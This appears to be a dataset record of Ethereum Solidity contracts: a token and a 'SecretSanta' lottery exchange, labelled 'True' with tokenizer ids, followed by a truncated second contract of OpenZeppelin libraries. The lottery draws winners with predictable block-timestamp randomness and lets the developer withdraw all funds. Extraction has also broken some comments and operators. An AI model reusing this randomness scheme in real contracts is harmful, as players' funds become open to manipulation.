{IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /* * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /* * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } /* * @dev token contract, including: * * - Preminted initial supply * / contract SecretSantaERC20 is ERC20 { /* * @dev Contract variables. / string private _name; string private _symbol; uint256 private _initialSupply = 50000000; /* * @dev Constructor that gives dev all of existing tokens. / constructor ( string memory name_, string memory symbol_ ) ERC20(name_, symbol_) { _name = name_; _symbol = symbol_; _mint(msg.sender, _initialSupply); } } contract SecretSantaDEX { event Bought(uint256 amount); event WinnerAnnounced(address winner, uint256 amountEth); address private _dev; uint256 public _price = 0.04 ether; address[] private lotteryBag; uint256 private numEntries; SecretSantaERC20 public token; constructor(address _tokenAddress) public { _dev = msg.sender; token = SecretSantaERC20(_tokenAddress); } function buyTokens(uint256 amount) payable public { require(amount <= 200, "You can only buy 200 tokens at a time"); uint256 ethPaid = msg.value; uint256 dexBalance = token.balanceOf(address(this)); require(ethPaid >= _price amount, "Insufficient ether"); require(amount <= dexBalance, "Not enough tokens in the reserve"); address sender = msg.sender; token.transfer(sender, amount); for (uint256 i; i < amount; i++) { lotteryBag.push(sender); } numEntries += amount; emit Bought(amount); } function announceWinners() public _devOnly { uint256 random = uint256(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % numEntries); uint256 random2 = (random * 7) % numEntries; address winner = lotteryBag[random]; address winner2 = lotteryBag[random2]; uint256 _balance = address(this).balance; uint256 winnings = _balance/5; uint256 winnings2 = _balance/20; address payable winnerAddr = payable(winner); address payable winner2Addr = payable(winner2); winnerAddr.transfer(winnings); winner2Addr.transfer(winnings2); emit WinnerAnnounced(winner, winnings); emit WinnerAnnounced(winner2, winnings2); } function announceRaffleWinner() public _devOnly { uint256 random = uint256(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % numEntries); address winner = lotteryBag[random]; emit WinnerAnnounced(winner, 0); } function setPrice(uint256 _newPrice) public _devOnly { _price = _newPrice; } function getPrice() public view returns (uint256) { return _price; } function getTicketBag() public view returns (address[] memory) { return lotteryBag; } function getNumEntries() public view returns (uint256) { return numEntries; } function withdrawAll() public _devOnly { address payable _to = payable(_dev); uint256 _balance = address(this).balance; _to.transfer(_balance); } /** * @dev modifier for Dev only operations. */ modifier _devOnly() { require(msg.sender == _dev); _; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2260, 1011, 2656, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 2005, 7781, 2089, 2025, 2022, 1996, 5025, 4604, 2121, 1006, 2004, 2521, 2004, 2019, 4646, 1008, 2003, 4986, 1007, 1012, 1008, 1008, 2023, 3206, 2003, 2069, 3223, 2005, 7783, 1010, 3075, 1011, 2066, 8311, 1012, 1008, 1013, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 2655, 2850, 2696, 1007, 1063, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 1065, 2024, 2170, 1012, 1008, 1013, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 4520, 1036, 3815, 1036, 2004, 1996, 21447, 1997, 1036, 5247, 2121, 1036, 2058, 1996, 20587, 1005, 1055, 19204, 2015, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 2590, 1024, 2022, 8059, 2008, 5278, 2019, 21447, 2007, 2023, 4118, 7545, 1996, 3891, 1008, 2008, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-09-08 / // SPDX-License-Identifier: MIT pragma solidity 0.6.6; // Part: OpenZeppelin/[email protected]/Address /** * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/[email protected]/Context / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Part: OpenZeppelin/[email protected]/EnumerableMap /* * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. / library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /* * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. / function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /* * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. / function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /* * @dev Returns true if the key is in the map. O(1). / function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /* * @dev Returns the number of key-value pairs in the map. O(1). / function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /* * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /* * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. / function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /* * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. / function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /* * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. / function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /* * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. / function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /* * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. / function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /* * @dev Returns true if the key is in the map. O(1). / function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /* * @dev Returns the number of elements in the map. O(1). / function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /* * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /* * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ / function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /* * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. / function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /* * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. / function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // Part: OpenZeppelin/[email protected]/EnumerableSet /* * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. / library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /* * @dev Returns true if the value is in the set. O(1). / function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /* * @dev Returns the number of values on the set. O(1). / function _length(Set storage set) private view returns (uint256) { return set._values.length; } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /* * @dev Returns true if the value is in the set. O(1). / function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /* * @dev Returns the number of values in the set. O(1). / function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(AddressSet storage set, address value) internal 